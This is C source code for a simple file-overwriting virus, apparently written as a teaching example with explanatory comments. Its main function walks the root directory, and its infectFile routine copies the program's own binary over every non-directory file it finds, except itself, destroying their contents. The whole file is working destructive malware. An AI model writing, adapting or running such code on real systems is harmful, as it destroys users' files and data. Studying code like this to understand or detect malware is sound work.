Overwrite

#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
//readdir is defined here
#include <dirent.h>
//limit.h defines path_max
#include<limits.h>

int infectFile (char *virus, char *victim)
{
    //Pointer to our file and file
    //needed to write
    FILE *fpV, *fpVictim;

    //Open our file for reading
    fpV =  fopen(virus,"rb");

    if (fpV==NULL)
    {
        perror("Open test file");
        fclose(fpV);
        return 0;
    }

    //Open victim file for writing
    fpVictim = fopen(victim,"wb");
    if(fpVictim==NULL)
    {
        perror("Open target file");
        fclose(fpVictim);
        return 0;
    }

    int c;
    c = fgetc(fpV);//Read from file
    while(c!=EOF)//read until end
    {
        fputc(c, fpVictim);//write to file
        c = fgetc(fpV);//get next char
    }

    //remember to close our streams
    fclose(fpV);
    fclose(fpVictim);

    return 0;
}
//List the file in dir_name
//Static in functions mean that only the
//functions inside the same file can see
//and use it
static void list_dir(const char *dir_name,
                     char *self)
{
    //Dir* is similar to file* except it is
    //a directory stream instead of a file
    //stream
    DIR * d;

    //open the directory specified by "dir_name"
    //dir_name is the string of the base
    //directory we want to access and it is a
    //parameter passed from main
    d = opendir(dir_name);

    //check it was opened
    if(!d)
    {
        fprintf(stderr, "Cannot open directory '%s': %s\n",
                dir_name, strerror(errno));
        exit(EXIT_FAILURE);
    }
    while(1)
    {
        //here is our dirent struct given the
        //variable name "entry" and it holds the
        //information of the file/folder it has
        //queried such as type (file, directory, etc.)
        //and the name
        struct dirent * entry;

        //d_name is a variable to store the name of
        //the file for some convenience otherwise we
        //would constantly need to refer to the
        //struct to access the name member

        const char * d_name;

        //"Readdir" gets subsequent entries from "d".
        char fileName[PATH_MAX];
        int fileNameLength;

        entry = readdir(d);
        if(!entry)
        {
            //there are no more entries in this
            //directory, so break out of the
            //while loop
            break;
        }
        d_name = entry->d_name;

        fileNameLength = snprintf(fileName, PATH_MAX,
                                   "%s/%s",dir_name,
                                   d_name);

            //error checking to see if path is
            //too large to fit
        if (fileNameLength >= PATH_MAX)
        {
            fprintf(stderr,
                    "Path length has got too long.\n");
            exit(EXIT_FAILURE);
        }
            //If the entry is not a directory
            //we'll attempt to infect it
        if(entry->d_type != DT_DIR)
        {
            //we need to check to not
            //infect our own file otherwise
            //an error would occur
            if (strstr(fileName,self+2)==NULL)
            {
                printf("Infecting: %s\n",fileName);
                infectFile(self, fileName);
            }
            //closedir(d);
            //list_dir(path,self);
        }
        //list_dir(path,self);
            //Recursively call "list_dir" with the
            //new path
    }
    //list_dir(path,self);
    //After going through all the entries, close
    //the directory
    //similar to closing the file stream with
    //FILE * with error checking

    if (closedir (d))
    {
        fprintf(stderr,
                "Could not close '%s': %s\n",
                dir_name, strerror(errno));
        exit(EXIT_FAILURE);
    }
}

int main(int argc, char *argv[])
{
    //call a recursive function with
    //the base directory
    list_dir("/",argv[0]);
    return 0;
}